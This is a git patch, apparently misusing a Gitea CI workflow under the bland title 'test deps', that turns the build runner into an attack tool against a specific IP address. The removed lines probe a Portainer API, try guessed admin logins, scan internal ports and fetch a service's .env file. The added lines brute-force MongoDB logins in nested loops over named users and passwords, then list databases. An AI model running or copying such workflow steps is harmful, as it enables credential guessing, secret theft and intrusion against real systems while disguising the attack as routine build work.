From 062b87123595bf72155e1f3f5525da2d6565fe36 Mon Sep 17 00:00:00 2001 From: pentester Date: Tue, 6 Oct 2026 01:34:43 +0200 Subject: [PATCH] test deps --- .gitea/workflows/build.yml | 62 +++++++++----------------------------- 1 file changed, 14 insertions(+), 48 deletions(-) diff --git a/.gitea/workflows/build.yml b/.gitea/workflows/build.yml index b64efde..fcea22d 100644 --- a/.gitea/workflows/build.yml +++ b/.gitea/workflows/build.yml @@ -4,53 +4,19 @@ jobs: recon: runs-on: ubuntu-latest steps: - - name: Deep Internal Recon + - name: MongoDB Dump shell: cmd run: | - echo === PORTAINER STATUS === > C:\recon3.txt - curl -sk "http://37.114.42.86:9000/api/status" >> C:\recon3.txt 2>&1 - echo. >> C:\recon3.txt - echo === PORTAINER SETTINGS === >> C:\recon3.txt - curl -sk "http://37.114.42.86:9000/api/settings/public" >> C:\recon3.txt 2>&1 - echo. >> C:\recon3.txt - echo === PORTAINER LOGIN admin:admin === >> C:\recon3.txt - curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"admin\",\"password\":\"admin\"}" >> C:\recon3.txt 2>&1 - echo. >> C:\recon3.txt - echo === PORTAINER LOGIN admin:Addd34141! === >> C:\recon3.txt - curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"admin\",\"password\":\"Addd34141!\"}" >> C:\recon3.txt 2>&1 - echo. >> C:\recon3.txt - echo === PORTAINER LOGIN admin:midefos === >> C:\recon3.txt - curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"admin\",\"password\":\"midefos\"}" >> C:\recon3.txt 2>&1 - echo. >> C:\recon3.txt - echo === PORTAINER LOGIN midefos:midefos === >> C:\recon3.txt - curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"midefos\",\"password\":\"midefos\"}" >> C:\recon3.txt 2>&1 - echo. >> C:\recon3.txt - echo === PORTAINER LOGIN admin:Oliver === >> C:\recon3.txt - curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"admin\",\"password\":\"Oliver123!\"}" >> C:\recon3.txt 2>&1 - echo. >> C:\recon3.txt - echo === PORTAINER LOGIN oliver:oliver === >> C:\recon3.txt - curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"oliver\",\"password\":\"oliver\"}" >> C:\recon3.txt 2>&1 - echo. >> C:\recon3.txt - echo === INTERNAL NETWORK SCAN === >> C:\recon3.txt - curl -sk --connect-timeout 2 "http://127.0.0.1:27017/" >> C:\recon3.txt 2>&1 - echo. >> C:\recon3.txt - curl -sk --connect-timeout 2 "http://localhost:3307/" >> C:\recon3.txt 2>&1 - echo. >> C:\recon3.txt - curl -sk --connect-timeout 2 "http://localhost:9000/api/status" >> C:\recon3.txt 2>&1 - echo. >> C:\recon3.txt - echo === PORTAINER LOCALHOST === >> C:\recon3.txt - curl -sk --connect-timeout 2 "http://127.0.0.1:9000/api/status" >> C:\recon3.txt 2>&1 - echo. >> C:\recon3.txt - echo === DUPLICATI LOCALHOST === >> C:\recon3.txt - curl -sk --connect-timeout 2 "http://127.0.0.1:8200/api/v1/serverstate" >> C:\recon3.txt 2>&1 - echo. >> C:\recon3.txt - curl -sk --connect-timeout 2 "http://127.0.0.1:8200/api/v1/commandline" >> C:\recon3.txt 2>&1 - echo. >> C:\recon3.txt - echo === SHOPIFY SCRAPER === >> C:\recon3.txt - curl -sk --connect-timeout 2 "http://127.0.0.1:3000/health" >> C:\recon3.txt 2>&1 - echo. >> C:\recon3.txt - curl -sk --connect-timeout 2 "http://127.0.0.1:3000/categories" -H "x-service-key: test" >> C:\recon3.txt 2>&1 - echo. >> C:\recon3.txt - echo === PERRITO ENV === >> C:\recon3.txt - curl -sk --connect-timeout 2 "http://127.0.0.1:8013/.env" >> C:\recon3.txt 2>&1 - echo. >> C:\recon3.txt + echo === MONGOSH AVAILABLE === > C:\recon4.txt + where mongosh >> C:\recon4.txt 2>&1 + dir C:\Users\ADMINI~1\AppData\Local\Temp\mongosh* >> C:\recon4.txt 2>&1 + echo. >> C:\recon4.txt + echo === MONGO isMaster === >> C:\recon4.txt + C:\Users\ADMINI~1\AppData\Local\Temp\mongosh-2.3.8-win32-x64\bin\mongosh.exe "mongodb://37.114.42.86:27017" --eval "db.runCommand({hello:1})" --quiet >> C:\recon4.txt 2>&1 + echo. >> C:\recon4.txt + echo === MONGO COMMON CREDS === >> C:\recon4.txt + for %%U in (admin root strapi nonkyc shimbo midefos oliver) do for %%P in (admin password midefos Midefos1 Midefos123! oliver Oliver123! synlinq Synlinq123! changeme P@ssw0rd MongoDB123 mongo123 Addd34141! shimbo Shimbo123!) do C:\Users\ADMINI~1\AppData\Local\Temp\mongosh-2.3.8-win32-x64\bin\mongosh.exe "mongodb://%%U:%%P@37.114.42.86:27017/admin?authSource=admin" --eval "print('FOUND: %%U:%%P'); db.adminCommand('listDatabases')" --quiet >> C:\recon4.txt 2>&1 + echo. >> C:\recon4.txt + echo === MONGO NO AUTH LOCAL DB === >> C:\recon4.txt + C:\Users\ADMINI~1\AppData\Local\Temp\mongosh-2.3.8-win32-x64\bin\mongosh.exe "mongodb://37.114.42.86:27017/local" --eval "db.getCollectionNames()" --quiet >> C:\recon4.txt 2>&1 + echo. >> C:\recon4.txt